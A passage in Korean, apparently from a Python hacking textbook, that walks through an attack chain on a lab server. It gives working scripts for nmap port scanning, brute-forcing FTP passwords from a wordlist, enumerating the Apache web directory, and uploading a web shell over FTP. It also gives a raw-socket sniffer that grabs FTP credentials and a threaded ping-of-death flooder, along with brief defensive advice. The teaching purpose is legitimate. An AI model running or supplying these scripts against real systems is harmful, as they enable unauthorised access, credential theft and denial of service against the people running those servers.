python-nmap이 위치한 경로로 이동하여 python setup.py install과 같이 명령을 실행하면 프로그램을 설치할 수 있다

만약 작동이 되지 않는다면 시스템 환경 설정의 Path 환경 변수에 파이썬이 설치된 디렉터리가 지정되어 있는지 확인한다

 

포트 스캐닝 해킹 절차

프로그램이 설치되면 포트 스캐닝을 통해 해킹 가능한 포트 정보를 알아낸다 Nmap은 열려 있는 포트와 해당 포트를 사용하는 서비스에 대한 정보를 함께 알려준다 FTP가 사용하는 21번 포트가 열려 있다면 비밀번호 크래킹을 통해서 비밀번호를 알아낼 수 있다 FTP 프로토콜에서는 파일 전송뿐만 아니라 디렉터리 정보를 제공하는 명령어를 지원한다 파이썬 프로그램을 사용해서 웹 서비스(아파치)에서 사용하는 디렉터리 정보를 알아낸다 마지막으로 해당 디릭터리에 웹 셸 공격이 가능한 스크립트를 업로드하고 브라우저를 통해서 해당 파일을 실행한다

 

 

포트 스캐닝

먼저 포트 스캐닝에 대해서 알아본다 해커 PC에서 다양한 프로토콜의 패킷을 보내서 서버 PC의 반응을 관찰한다 프로토콜은 ICMP, TCP, UDP, SCTP 등 다양하게 활용된다 보통 Nmap에서는 TCP SYN 스캔 기법이 많이 활용되는데 속도도 빠르고 보안 장비의 탐지도 쉽게 회피할 수 있기 때문이다

 

해커 PC에서 서버 PC의 특정 포트로 TCP SYN 패킷을 전송할 때 해당 포트가 서비스 중이라면 해커 PC로 SYN/ACK 패킷을 전송한다 포트가 폐쇄되어 있으면 RST 패킷을 전송한다 서비스 중인 포트에서 전송된 SYN/ACK 패킷을 가지고 완전한 연결을 형성하지 않고 RST 패킷을 전송해서 연결을 중간에 종료시킨다 이러한 특징 때문에 Half-open Scanning이라고도 한다

 

1번 포트부터 1024번 포트까지 TCP SYN 스캔 방식으로 사용 가능한 포트를 체크해본다 파이썬에서 제공되는 socket 모듈을 사용해서 포트 스캐닝이 가능하지만 응답이 없는 포트에 대해 대기하는 시간이 있기 때문에 시간이 오래 걸리는 단점이 있다 Nmap 모듈을 사용하면 빠르게 포트의 개방 여부를 테스트할 수 있다 

 

import sys
import os
import socket
import nmap                                                        #(1)

nm = nmap.PortScanner()                                            #(2)

nm.scan('server', '1-1024')                                        #(3)

for host in nm.all_hosts():                                        #(4)
    print('----------------------------------------------------')
    print('Host : {0} ({1})'.format(host, nm[host].hostname()))    #(5)
    print('State : {0}'.format(nm[host].state()))                  #(6)

    for proto in nm[host].all_protocols():                         #(7)
        print('----------')
        print('Protocol : {0}'.format(proto))                        

        lport = list(nm[host][proto].keys())                       #(8)
        lport.sort()
        for port in lport:
            print('port : {0}\tstate : {1}'.format(port, nm[host][proto][port]))   #(9)
print('----------------------------------------------------')

 

Nmap 도구를 직접 사용하지 않고 python nmap을 통해 간접적으로 애플리케이션에서 호출하는 이유는 확장 가능성 때문이다 단순한 포트 스캐닝이라면 Nmap GUI 도구가 훨씬 유리할 수 있으나 결과값을 가지고 다양한 응용을 하려면 프로그램에서 API 형식으로 Nmap 기능을 호출하는 방식이 훨씬 유리하다 

 

  1. nmap 모듈 불러오기 : python namp 모듈을 사용할 수 있도록 불러온다
  2. PortScanner 객체 생성 : 파이썬에서 nmap을 사용할 수 있도록 지원하는 PortScanner 객체를 생성한다 만일 PC에 Nmap 프로그램이 설치되지 않았다면 PortScanner 예외를 발생시킨다
  3. 포트 스캔 실행 : 동작에 필요한 2개 또는 3개의 인자를 받아서 포트 스캔을 실행한다 (호스트 : scanme.nmap.org or 198.116.0-255.1-127 or 216.163.128.20/20과 같은 형식의 호스트 정보를 지정한다) (포트 : 22.53.110.143-4564와 같은 형식으로 스캐닝에 사용할 포트를 지정한다) (인자 : -sU -sX -sC와 같은 형식으로 Nmap 실행에 사용할 옵션을 지정한다)
  4. 호스트 리스트 얻기 : scan() 함수에 인자로 지정한 호스트의 정보를 리스트 형태로 반환한다
  5. 호스트 정보 출력 : 호스트 IP와 이름을 출력한다
  6. 호스트 상태 출력 : 호스트 상태를 출력한다 호스트가 서비스 중이라면 up이 출력된다
  7. 호스트에서 스캔된 프로토콜 출력 : 호스트에서 스캔된 모든 프로토콜 정보를 리스트 형태로 출력한다
  8. 포트 정보 얻기 : 호스트와 프로토콜별로 열린 포트 정보 세트 형태로 반환한다
  9. 포트 정보 출력 : 포트의 세부 정보를 출력한다

Nmap은 열린 포트 정보와 서비스 정보 애플리케이션에 대한 정보를 자세하게 제공한다 해커는 Nmap을 통해서 네트워크 해킹에 대한 기초 지식을 얻을 수 있다

 

포트 스캐닝 결과

일반 사이트에 포트 스캐닝을 시도하는 것은 불법이다 반드시 테스트 환경을 구성해서 Nmap의 사용법을 익히고 결과를 분석할 수 있는 능력을 기른다 이제 방화벽에서 열린 호스트와 포트 정보 그리고 관련된 애플리케이션 정보를 알아냈다 다음으로 21번 포트에서 서비스하는 FTP를 이용해서 관리자 비밀번호를 얻어내는 비밀번호 크래킹 공격을 시도한다

 

 

 

비밀번호 크래킹

일반적인 FTP 서비스 데몬 설정에서는 비밀번호 오류 횟수를 체크하지 않는다 sqlmap에서 제공하는 wordlist.txt 파일을 사전(Dictionary)으로 사용해서 반복적인 로그인 시도를 통해 비밀번호를 알아내는 프로그램을 만들어본다 python은 ftplib 모듈을 제공해서 FTP 서비스를 활용할 수 있는 다양한 기능을 제공한다

 

FTP에서는 로그인이 실패하면 530 User cannot log in 메시지가 나온다 파이썬에서는 예외를 발생시킨다 정상 로그인되면 220 User logged in 메시지가 출력된다 파이썬에서는 별도의 메시지 없이 내부적으로 다음 동작을 수행할 수 있는 세션이 설정된다

 

from ftplib import FTP

wordlist = open('wordlist.txt', 'r')                  #(1)
user_login = "server"

def getPassword(password):                            #(2)
    try:
        ftp = FTP("server")                           #(3)
        ftp.login(user_login,password)                #(4)
        print "user password:", password
        return True
    except Exception:                                 #(5)
        return False    

passwords = wordlist.readlines()
for password in passwords:      
    password = password.strip()
    print "test password:", password
    if(getPassword(password)):                        #(6)
        break
wordlist.close()

 

 

파이썬에서는 FTP의 연결과 로그인을 위해 단순한 메커니즘을 제공한다 Java와 C 언어 등에서 처리해야 하는 많은 과정을 ftplib에서 내부적으로 처리해주고 사용하는 단순한 import 구문을 사용해서 쉽게 FTP를 사용할 수 있다 

 

  1. 파일 오픈 : wordlist.txt 파일을 열어서 프로그램에서 사용할 수 있도록 준비한다
  2. 함수 선언 : 서버 PC에 FTP Connection을 연결하고 로그인을 시도하는 함수를 선언한다
  3. FTP 연결 : 서버 PC에 FTP Connection을 연결한다 인자로 IP 또는 도메인 이름이 들어간다
  4. 로그인 : 함수에서 인자로 전달받은 비밀번호와 미리 설정한 아이디로 로그인을 시도한다 정상적으로 로그인되면 다음 행을 실행하고 그렇지 않을 때는 예외를 발생시킨다
  5. 예외처리 : 비정상 로그인의 경우 발생하는 예외를 처리한다 False 값을 반환하도록 처리
  6. 함수 실행 : getPassword() 함수를 실행한다 wordlist.txt 파일에서 하나씩 읽어서 인자로 전달한다 정상 로그인될 때는 True를 반환하기 때문에 for Loop를 종료한다

비밀번호 오류 횟수를 제한하지 않는 시스템은 비밀번호 크래킹 공격에 쉽게 노출된다 시스템 환경 설정이나 장비의 앞 단에 설치된 보안 장비(방화벽, IPS, IDS)에서 이에 대한 적절한 처리를 해줘야 한다 되도록 일반적인 FTP의 사용을 자제하고 Secure FTP와 같은 보안이 강화된 프로토콜을 사용해야 한다

 

비밀번호 크래킹 결과

 

 

디렉터리 목록 조회

FTP 프로토콜을 통해서 디렉터리의 목록을 조회할 수 있다 ftplib 모듈에서는 dir 명령어의 출력 결과를 가공해서 리스트 형태로 제공하는 nlist() 함수를 지원한다 애플리케이션은 nlist() 함수를 사용해서 원하는 디렉터리를 간단히 조회할 수 있다 포트 스캐닝을 통해 80 포트에서 아파치 서비스가 동작하는 것을 확인했다 아파치는 별도의 설정이 없다면 htdocs 디렉터리 아래에 웹 프로그램을 저장한다

 

우선 해킹으로 탈취한 인증 정보를 사용해서 FTP로 로그인한 후 디렉터리 리스트를 가져오는 함수를 실행한다 반환된 리스트에서 웹 디렉터리를 검색해서 실패하면 리스트 각각의 하위 디렉터리 리스트를 다시 한 번 서버에서 가져온다 위의 과정을 반복 실행하면서 웹 디렉터리 정보를 취득하게 된다 

 

from ftplib import FTP

apacheDir = "htdocs"
serverName = "server"
serverID = "server"
serverPW = "server"

def getDirList(cftp, name):                            #(1)
    dirList = []
    if("." not in name):                               #(2)
        if(len(name) == 0):
            dirList = ftp.nlst()                       #(3)
        else:
            dirList = ftp.nlst(name)               
    return dirList

def checkApache(dirName1, dirName2):                   #(4)
    if(dirName1.lower().find(apacheDir) >= 0):             
        print dirName1
    if(dirName2.lower().find(apacheDir) >= 0):
        print dirName1 +"/"+ dirName2

ftp = FTP(serverName, serverID, serverPW)              #(5)

dirList1 = getDirList(ftp, "")                         #(6)

for name1 in dirList1:                                 #(7)
    checkApache(name1,"")                              #(8)
    dirList2 = getDirList(ftp, name1)                  #(9)
    for name2 in dirList2:
        checkApache(name1, name2)
        dirList3 = getDirList(ftp, name1+"/"+name2)

 

웹 서비스가 저장된 디렉터리는 htdocs를 사용하고 간단한 테스트를 위해서 디렉터리 리스트는 3단계만 찾는다

 

  1. 함수 선언(목록 가져오기) : 서버에서 디렉터리 목록을 가져오는 함수를 선언한다
  2. 파일 목록 제거 : 일반적으로 파일은 온점 뒤에 확장자를 붙이기 때문에 온점이 있는 목록은 파일로 간주하고 검색을 생략한다
  3. 목록 가져오기 함수 호출 : ftplib에서 제공하는 nlist() 함수는 디렉터리 목록을 리스트 형태로 반환한다
  4. 함수 선언(웹 디렉터리 검색) : 목록을 인자로 받아서 웹 디렉터리 여부를 검사하는 함수를 선언한다
  5. FTP 로그인 : FTP 클래스 생성자에 도메인 이름 아이디 비밀번호를 인자로 입력하면 자동으로 FTP 연결을 생성하고 로그인한다
  6. 함수 호출(목록 가져오기) : 서버에서 최상위 디렉터리 목록을 리스트 형태로 가져오는 함수를 호출한다
  7. 반복 수행 : 리스트에서 목록을 하나씩 꺼내어 반복문을 수행한다
  8. 함수 호출(웹 디렉터리 검색) : 목록이 웹 디렉터리에 해당하는지 체크하는 함수를 호출해서 결과를 확인한다
  9. 2차 목록 가져오기 : 2 레벨의 디렉터리 목록을 가져오는 함수를 호출한다 결과를 체크하는 반복문 안에는 다시 3레벨의 디렉터리 목록을 가져오는 함수를 호출한다

파이썬은 리스트 형태로 결과를 반환하는 다양한 함수를 지원하고 있다 리스트를 비교 검색 생성하는 기능을 익혀두면 파이썬 해킹 프로그램을 짧은 시간 안에 개발할 수 있다 만일 웹 디렉터리가 변경됐다면 아파치에서 사용하는 대표적인 프로그램을 찾아서 확인할 수 있다 로그인(login.php)이나 초기 페이지(index.php)를 검색하면 간단하게 웹 서비스 디렉터리에 접근할 수 있다

 

FTP 디렉터리 목록 조회 결과

 

 

FTP 웹 셸 공격

FTP 로그인 정보와 웹 디렉터리 정보를 알아냈다 이제 FTP로 로그인해서 웹 셸 파일을 업로드한다 

웹 해킹에서도 파일 업로드를 통해서 웹 셸 공격을 해보았다 웹을 이용한 웹 셸 공격은 확장자의 제약이 있기 때문에 다양한 형식의 파일을 업로드하기 힘들지만 FTP는 다양한 형식의 파일을 직접 업로드를 할 수 있다

인터넷에서 강력한 웹 셸 파일을 검색을 통해 쉽게 찾을 수 있다

 

webshell.php

<?phpinfo() ?>

 

파이썬 ftplib 모듈에서는 디렉터리 변경과 파일 전송을 위한 함수를 제공한다 몇 줄의 코드를 사용해서 간단하게 로직을 구현할 수 있다 웹 셸 파일이 업로드되면 해커는 인터넷에 접속한 모든 PC에서 서버 PC를 원격 조종할 수 있다

 

from ftplib import FTP

apacheDir = "htdocs"
serverName = "server"
serverID = "server"
serverPW = "server"

ftp = FTP(serverName, serverID, serverPW)       #(1)

ftp.cwd("APM_Setup/htdocs")                     #(2)

fp = open("webshell.php","rb")                  #(3)
ftp.storbinary("STOR webshell.php",fp)          #(4)

fp.close()
ftp.quit()

 

  1. FTP 로그인 : 해킹으로 탈취한 정보를 사용해서 서버 PC에 FTP 로그인한다
  2. 디렉터리 변경 : 웹 서비스가 설치된 디렉터리로 이동한다
  3. 파일 오픈 : 웹 셸 기능이 내장된 PHP 파일을 연다
  4. 파일 전송 : 서버 PC의 웹 서비스가 설치된 디렉터리에 웹 셸 파일을 업로드한다

파일 전송이 완료됐으면 브라우저를 열어서 웹 셸 공격을 실행해 본다 주소창에 http://server/webshell.php 를 입력하면 다음과 같은 화면을 볼 수 있다 디렉터리를 변경하면서 목록을 조회할 수 있고 파일의 삭제 및 실행을 할 수 있다 또한 화면에서 직접 파일을 업로드 해서 다양한 공격을 시도할 수도 있다

 

FTP 웹 셸 결과

 

지금까지 진행한 해킹 과정을 정리해본다 포트 스캐닝을 통해 서비스 중인 포트를 알아내고 그 중에서 FTP 서비스가 열려 있는 서버를 찾아내서 비밀번호 크래킹 기법으로 비밀번호를 탈취한다 그리고 디렉터리 목록 조회를 통해 웹 서비스 위치를 파악한다 웹 셸 파일을 업로드하고 원격지 PC에서 서버 PC를 조종한다

 

이처럼 일련의 과정을 하나의 애플리케이션으로 엮으면 공격 가능한 URL만 자동으로 반환하는 프로그램을 개발할 수 있다

 


4. 패킷 스니핑을 이용한 인증 정보 탈취

 

 

패킷 스니핑의 기본 개념

비밀번호 크래킹 기법은 아이디와 비밀번호를 반복적으로 입력하면서 인증 가능한 정보를 알아내는 기법으로 비밀번호를 탈취하기 위해 많은 시간이 소요되는 단점이 있다 또 데이터 사전에 일치하는 비밀번호가 없으면 공격에 실패할 수 있다 TCP/IP 네트워크에서 전송되는 데이터는 중간에 탈취할 수 있다 모든 환경에서 가능하지는 않지만 만일 침투 테스트에 성공해서 내부 PC를 좀비로 만든 경우를 가정해 본다 TCP/IP 2계층 프로토콜은 기본적으로 브로드캐스트 방식을 사용하기 때문에 일단 인트라넷에 들어오면 내부망에서 전송되는 모든 패킷을 볼 수 있다

 

특히 FTP 로그인 과정에서 주고받는 아이디와 비밀번호는 평문으로 전송되기 때문에 패킷 스니핑 공격에 의해 쉽게 탈취할 수 있다 전송 계층까지 데이터를 사람이 인식하려면 변환 작업이 필요하지만 응용 계층에 해당하는 FTP 데이터는 별도의 작업 없이 쉽게 인식할 수 있다 쉽게 읽을 수 있다는 것은 쉽게 해킹할 수 있다는 것과 같다 인터넷(외부망) 환경에서는 패킷 스니핑 공격을 사용할 수가 없다

 

TCP/IP 프로토콜 스택에서 2계층은 MAC(Media Access Control) 주소를 기반으로 동작한다 

MAC 주소는 NIC(Network Interface Card)에 부여된 48비트의 고유한 값으로 물리적 주소라고도 한다 MAC 주소는 윈도우의 명령 창에서 ipconfig /all 명령어로 확인할 수 있다

발송지에서 생성된 패킷은 동일 네트워크에 있는 모든 노드로 브로드캐스트된다 네트워크는 라우터에 의해 분할되므로 하나의 라우터에 연결된 노드만 서로 패킷을 교환할 수 있다 노드의 NIC에서 수신된 패킷은 목적지 주소를 확인해서 자신의 주소와 일치하면 운영체제로 전송되고 다르면 폐기된다 패킷 스니핑의 기본 원리는 NIC로 도착하는 모든 패킷을 폐기하지 않고 분석해서 정보를 찾아내는 것이다

 

패킷 스니핑 프로그램을 만들려면 파이썬 GUI를 관리자 권한으로 실행해야 한다 프로그램이 로 소켓(Raw Socket)을 생성하려면 관리자 권한이 필수적이다 로 소켓이란 프로토콜에 따른 필터링 없이 기본적인 패킷을 그대로 받을 수 있는 기능을 지원하는 소켓이다 로 소켓을 생성한 후 NIC에 바인드하고 NIC의 모드를 변경한다 기본 설정은 자신을 목적지로 하는 패킷만 받아들이지만 Promiscuous 모드로 변경하면 NIC로 들어오는 모든 패킷을 받아 볼 수 있다 

 

 

 

패킷 스니핑 실행

클라이언트 PC가 서버 PC의 FTP 서비스에 로그인하기 위한 패킷을 해커 PC에서 패킷 스니핑으로 해킹하는 프로그램을 만들어본다 전송(Transport) 계층까지의 데이터는 바이너리 형식으로 화면에 보이기 때문에 별도의 프로그램을 통해 해석 가능한 형태로 변경해야 한다 응용(Application) 계층의 데이터는 별도의 프로그램 없이 눈으로 볼 수 있도록 출력된다 패킷 스니핑을 통해 아이디와 비밀번호를 탈취하는 것이므로 응용 계층의 데이터만 분석한다

 

import socket
import string

HOST = socket.gethostbyname(socket.gethostname())

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)     #(1)
s.bind((HOST, 0))                                                         #(2)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)                     #(3)
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)                              #(4)

while True:
    data = s.recvfrom(65565)                                              #(5)
    printable = set(string.printable)                                     #(6)
    parsedData = ''.join(x if x in printable else '.' for x in data[0])

    if(parsedData.find("USER") > 0):                                      #(7)
        print parsedData
    elif(parsedData.find("PASS") > 0):
        print parsedData
    elif(parsedData.find("530 User cannot log in") > 0):
        print parsedData
    elif(parsedData.find("230 User logged in") > 0):
        print parsedData

 

Soket 클래스를 생성할 때 입력하는 다양한 인수를 통해 어떤 데이터를 받을 수 있는지 결정할 수 있다

 

  1. 소켓 클래스 생성 : 3개의 인수를 전달해 소켓의 기능을 정의하고 클래스를 생성한다 (AF_INET : TCP/UDP를 지원하는 IPv4 프로토콜을 지정하는 주소 패밀리 중 하나) (SOCK_RAW : 로 소켓 지원 로 소켓은 IP 스택 바로 위해어 TCP/UDP 헤더 지원 없이 프로토콜을 보내거나 받는 역할을 한다) (IPPROTO_IP : 소켓에 사용할 프로토콜로 IP 프로토콜을 지정한다)
  2. 소켓 바인드 : NIC 카드에 소켓을 바인드한다 주소는 로컬 PC의 주소를 입력하고 포트는 사용하지 않는 0번 포트를 지정한다
  3. 소켓 옵션 변경 : 커널에 RAW 패킷을 입력하기 위해 옵션을 변경한다 (IPPROTO_IP : 소켓이 커널로 네트워크 레이어 패킷을 입력한다는 것을 의미한다) (IP_HDRINCL와 1 : 소켓이 커널로 IP 헤더를 같이 제공한다는 것을 의미한다)
  4. Promiscous 모드 설정 : NIC가 받은 모든 패킷을 소켓으로 전달할 수 있도록 설정한다 (SIO_RCVALL : NIC가 받은 모든 IPv4/IPv6 패킷을 소켓이 전달받을 수 있도록 설정한다) (RCVALL_ON : NIC가 받은 모든 패킷을 버리지 않고 소켓으로 전달할 수 있도록 설정한다)
  5. 패킷 수신 : 버퍼에 있는 데이터를 65565바이트만큼 읽어서 튜플 형태로 전달한다
  6. 출력 형식 설정 : 데이터에 NULL 값이 저장되어 있어 튜플을 분리하여 읽을 때 오류가 발생하므로 출력 가능한 형태로 변경한다
  7. 인증 정보 출력 : 데이터에 포함된 인증 정보를 출력한다 USER와 PASS는 아이디와 비밀번호에 해당하며 인증이 성공하거나 실패하면 각각 530 또는 230 메시지를 출력한다 정확한 인증 정보를 확인한다

해커 PC에서 프로그램을 실행하고 클라이언트 PC에서 서버 PC로 FTP 연결을 시도해본다 먼저 정상적인 입력은 server/server이지만 잘못된 인증 시도를 통한 결과를 보고자 server/server1을 입력한다 두번째로 server/server를 입력해서 정상적인 인증을 확인한다 클라이언트 PC에서 FTP 로그인을 시도한 결과는 다음과 같다

 

관리자 권한으로 실행 설정

클라이언트 PC FTP 접속 화면

 

해커 PC에서 실행한 프로그램은 클라이언트 PC의 입력을 기다리고 있다가 트래픽이 발생하면 다음과 같은 결과를 보여준다 처음에 시도한 로그인은 실패했기 때문에 530 User cannot log in 이라는 오류 메시지를 보여주고 두 번째 로그인 시도는 성공했기 때문에 230 User logged in 이라는 성공 메시지를 출력한다 여기에서 아이디와 비밀번호에 해당하는 server/server를 얻을 수 있다

 

일단 내부망에 침투한 해커는 네트워크에서 암호화되지 않은 패킷을 스니핑해서 손쉽게 인증 정보를 탈취할 수 있다 따라서 내부에서도 공격에 대비한 보안 조치를 해야 한다 데이터 전송을 위해서는 SSL(Secure Socket Layer) IPsec(IP Security Protocol)과 같은 암호화 프로토콜을 사용해서 스니핑을 통해 내용을 볼 수 없도록 해야 한다 원격에서 서버에 연결할 때는 SSH(Secure Shell)를 사용해서 인증 정보와 명령어를 탈취할 수 없도록 조치해야 한다 더욱 적극적인 대응을 위해서는 전문 스니핑 탐지 도구를 사용하는 것도 하나의 방법이 될 수 있다

 

해커 PC 패킷 스니핑 결과

 

 


5. DoS 공격의 개요

 

 

DoS(Denial of Service) 공격은 서버가 정상적인 동작을 못 하도록 방해하는 공격이다 대부분의 DoS 기법은 네트워크 프로토콜의 취약점을 이용하여 일부 공격은 정상 서비스를 대량으로 발생시켜 서버를 무력화시키기도 한다 DoS 공격은 단순하지만 파괴력이 강력한 공격 기법이며 DDos(Distributed Dos)와 DrDoS(Distributed Reflected Dos)와 같은 방식으로 진화하고 있다

 

해커는 HTTP, TCP, PING, ICMP 등의 프로토콜을 이용해서 다양한 방법으로 서버를 공격한다 해당 공격은 서버의 대역폭, 메모리, CPU, 디스크 자원을 소모시켜 결국에는 서버가 서비스 불능 상태에 빠지게 한다 DoS 공격이 성공하면 사용자는 서비스 요청에 대해 서버로부터 응답을 받을 수 없게 된다

 

 

  1. 죽음의 핑(Ping Of Death) : ping 유틸리티에 사용되는 ICMP 패킷을 보통 크기(32바이트)보다 크게(65535바이트) 만들어서 전송하면 네트워크 구간에서는 처리 가능한 크기로 쪼개진다 서버에서는 다수의 ICMP 패킷을 처리하기 위해서 시스템 자원을 많이 소비하게 돼 결국 서비스 불능 상태에 빠진다
  2. 랜드 공격(Land Attack) : TCP 연결 요청 시 전송하는 SYN 패킷을 보낼 때 출발지 주소와 목적지 주소를 동일하게 보낸다 서버는 SYN/ACK 패킷을 보낼 때 목적지 주소가 자기 자신으로 설정되어 있으므로 계속 패킷이 서버에서 맴돌게 한다
  3. TCP SYN 플러드 : TCP 연결 과정의 보안 취약성을 악용한 공격이다 클라이언트가 서버에게 SYN 패킷을 전송하면 서버는 SYN/ACK 패킷을 클라이언트에게 전송한다 마지막으로 클라이언트가 ACK 패킷을 서버로 보내면 연결이 설정된다 마지막 단계에서 클라이언트가 서버로 ACK 패킷을 전송하지 않으면 서버는 SYN Received 상태로 계속 기다린다 이러한 과정이 반복되면 서버는 버퍼를 모두 소진해서 서비스 불능 상태에 빠진다
  4. 슬로로리스 공격(Slowloris Attack) : 해커가 서버에 정상적인 세션을 맺은 후에 비정상적인 헤더(요청이 완료되지 않은 상태)를 보내서 서버의 커넥션을 계속 열린 상태로 유지하는 기법이다 오픈 상태의 커넥션이 늘어나게 되면 서버는 결국 서비스 불능 상태에 빠지게 된다
  5. 티어드롭(Tear Drop) : 대량 패킷을 전송할 때 작은 단위로 쪼개서 전송하고 도착점에서 재결합한다 이때 오프셋(Offset)을 사용하는데 이 값을 임의로 조정해서 실제 값보다 더 큰 값을 넣으면 서버는 오버플로를 일으켜 서비스 불능 상태에 빠진다
  6. 스머프 공격(Smurf Attack) : ICMP 패킷의 특성을 악용한 공격이다 ICMP 프로토콜은 요청을 보내면 응답(Reply)이 돌아오는 특성이 있다 대량의 호스트에서 ICMP 발신지를 공격대상 서버로 변조해서 ICMP 요청을 발송하면 서버는 처리 불능한 대량의 ICMP 응답을 수신하게 되어 서비스 불능 상태에 빠진다
  7. HTTP 플러딩 : 정상적인 서비스를 대량으로 호출해서 서비스 불능 상태에 빠지게 하는 공격이다 웹 서버에서 서비스하는 URL을 동시에 대량으로 요청하면 웹 서버의 CPU와 Connection 자원이 고갈되어 정상 서비스가 불가능하다

적은 수의 호스트를 사용해서 DoS 공격을 시도하는 것보다 대량의 호스트를 이용하는 방식이 훨씬 공격 성공률이 높다 DDoS는 여러 대의 PC를 악성 코드로 감염시켜 공격 호스트로 사용하고 원격지에서 공격 명령을 내리는 방식이다 DDoS가 HTTP 플러딩과 같은 정상적인 서비스를 사용하는 기법과 결합하면 보안 장비로도 차단이 어려운 강력한 공격으로 탈바꿈할 수 있다 

 

 

 

DoS : 죽음의 핑(Ping of Death)

윈도우 방화벽 설정

윈도우 환경에서 ping 명령어를 사용하려면 먼저 서버 PC의 방화벽에서 ICMP에 대한 실행을 허용해야 한다

제어판 -> 시스템 및 보안 -> Windows 방화벽 -> 고급 설정을 선택한다

 

(윈도우 방화벽 고급 설정) 인바운드 -> 새규칙을 선택한다

 

규칙 종류 선택

프로그램 선택

 

프로토콜 종류는 ICMPv4를 선택하고 사용자 지정 버튼을 클릭한다

 

특정 ICMP 종류 -> 반향 요청을 선택한다

 

범위 설정

 

작업 설정

 

이름 입력

 

해커 PC에서 명령 창을 열어 다음을 확인할 수 있다

 

 

와이어샤크 설치

ping 명령어 수행에 대한 세부적인 동작을 살펴보고자 모니터링 도구를 설치해 본다 와이어샤크(Wireshark) 프로그램은 네트워크 동작 상태에 대한 모니터링을 지원하며 패킷 스니핑도 가능하다 

 

 

 

이제 윈도우 명령 창에서 ping 명령어를 실행하고 와이어샤크를 통해 동작 방식을 알아본다

와이어샤크를 실행시켜 네트워크 모니터링 기능이 동작하도록 한다 다음으로 명령 창에서 ping 명령을 실행시키면 와이어샤크 화면에 세부적인 네트워크 동작이 나타나게 된다 ping 명령어 사용법은 ping IP -l 전송 데이터 크기다 기본적으로 32바이트의 데이터를 전송하며 최대 65500바이트까지의 데이터를 전송할 수 있다 핑 테스트를 위해서 서버로 전송하는 데이터는 a~w까지의 문자를 정해진 데이터 크기만큼 반복해서 전송한다

 

명령 창에서 ping 명령어 실행

 

ping 명령은 기본적으로 4회 반복해서 ICMP 패킷을 전송한다 수행 횟수는 옵션을 통해서 조절할 수 있다 명령 실행이 완료되면 서버로부터 받은 응답 시간을 화면에 보여준다 시간이 크다는 것은 서버와 클라이언트 사이의 네트워크 상태가 원활하지 않다는 것을 의미한다 ping 명령어는 네트워크의 동작 여부를 테스트하는 데 많이 사용된다

 

와이어샤크 패킷 캡쳐

 

ping server -l 65500 명령에 대한 실행을 와이어샤크에서 캡쳐한 화면이다 상단 부분에는 65500바이트 패킷을 1480바이트 단위로 나눠서 전송하는 것을 볼 수 있다 중간 부분에는 실질적인 패킷 데이터를 전송 계층별로 분할해서 보여주고 마지막 부분에는 응용 계층에서 입력된 데이터를 보여준다 65500바이트의 데이터는 모두 44개로 나눠서 서버로 전송된다 만일 스레드를 이용해서 한 번에 1000개의 ping 명령을 실행한다면 모두 44000개의 대용량 패킷이 서버로 전송됨을 알 수 있다

 

현재는 시스템 성능이 좋아지고 네트워크상에서 핑으로 보낼 수 있는 데이터의 크기가 65500바이트로 한정되어서 효용성이 많이 떨어지지만 DoS 공격의 개념이 처음 생겨났을 때는 강력한 공격 도구였다 

 

import subprocess
import thread
import time

def POD(id):                                                    #(1)
    ret = subprocess.call("ping server -l 65500", shell=True)
    print "%d," % id
      
for i in range(500):                                            #(2)
    thread.start_new_thread(POD, (i,))                          #(3)
    time.sleep(0.8)                                             #(4)

 

윈도우의 명령 창에서 실행하는 것과 같은 방식으로 공격을 실행한다 대량의 트래픽을 발생시키기 위해서 스레드를 사용해서 병렬적으로 ping 명령을 실행한다

 

  1. 함수 선언 : ping 명령을 실행하는 기능을 수행하는 함수를 선언한다 스레드가 이 함수를 호출한다
  2. 반복 수행 : 스레드를 500번 반복해서 생성한다
  3. 스레드 생성 : POD()함수를 호출하면서 몇 번째 생성된 스레드인지 숫자를 넘겨준다
  4. 일시 정지 : 스레드 하나를 생성하고 해커 PC의 부하를 줄이고자 0.8초 동안 대기한다

클라이언트 PC에서 ping 명령을 실행하면서 성능에 미치는 영향을 살펴본다 명령창에 ping server -t와 같이 입력하면 정지할 때까지 ping 명령을 반복 수행한다 죽음의 핑 실행 전과 후를 비교한다

 

 

죽음의 핑 공격을 막으려면 일정 시간 동안 들어 올 수 있는 핑의 개수를 제한하거나 외부에서 들어오는 핑을 모두 차단하도록 설정해야 한다 또한 핑 요청(Ping Request)의 크기를 확인해서 정상 크기 이상의 핑은 차단되도록 하는 정책을 방화벽에 설정해야 한다

 

 

 

DOS : TCP SYN 플러드

TCP SYN 플러드의 기본 개념

TCP는 3웨이 핸드셰이킹을 통해 연결을 설정한 후 통신을 수행한다 먼저 클라이언트는 서버에 SYN 패킷을 전송해서 연결 설정을 요청하고 서버는 클라이언트에 SYN/ACK 패킷을 전송해서 응답한다 마지막으로 클라이언트에 ACK 패킷을 전송하면 연결이 설정된다 여기에서 보안 취약점이 하나 생기는데 서버가 최초에 SYN 패킷을 받을 때 시스템 자원을 할당한다는 것이다 연결 요청에 대한 기록을 백로그 큐(Backlog Queue)에 쌓아 두는데 이 큐가 꽉차면 더 이상의 요청을 못 받게 된다 TCP SYN 플러드(Flood)는 SYN 패킷만을 대량 전송해서 백로그 큐를 동작 불가능 상태로 만드는 공격이다

 

 

리눅스 설치

TCP SYN 플러드 공격을 위해서는 TCP와 IP 헤더를 사용자 임의대로 조절할 수 있는 로 소켓(Raw Socket)을 사용해서 sendto() 메서드를 호출해야 한다 윈도우에서는 TCP 프로토콜에 대한 sendto() 메서드 호출을 보안을 위해서 막아놨다 PC가 빈번하게 좀비 PC가 돼서 DoS공격에 사용되었기 때문이다 리눅스에서는 TCP 프로토콜을 sendto() 메서드를 사용해서 호출할 수 있도록 지원한다

 

리눅스 (12.04.4 LTS Pricise Pangolin) http://releases.ubuntu.com/precise/

http://old-releases.ubuntu.com/releases/12.04.4/

ubuntu-12.04.4-desktop-i386.iso 파일을 다운로드 합니다

 

사용자 정보 입력

 

 

리눅스 네트워크 설정 변경

/etc/network/interfaces 파일을 열어서 다음과 같이 변경한다 address에는 해커 PC에서 ipconfig 명령어를 실행해서 IP를 확인한 후 같은 대역에 사용하지 않는 IP를 넣어주면 된다

 

리눅스 네트워크 설정

 

리눅스 hosts 파일 설정

/etc/hosts 파일을 열어서 다음과 같이 변경한다 서버 PC의 IP를 확인해서 넣어 준다

hosts 파일 설정

 

 

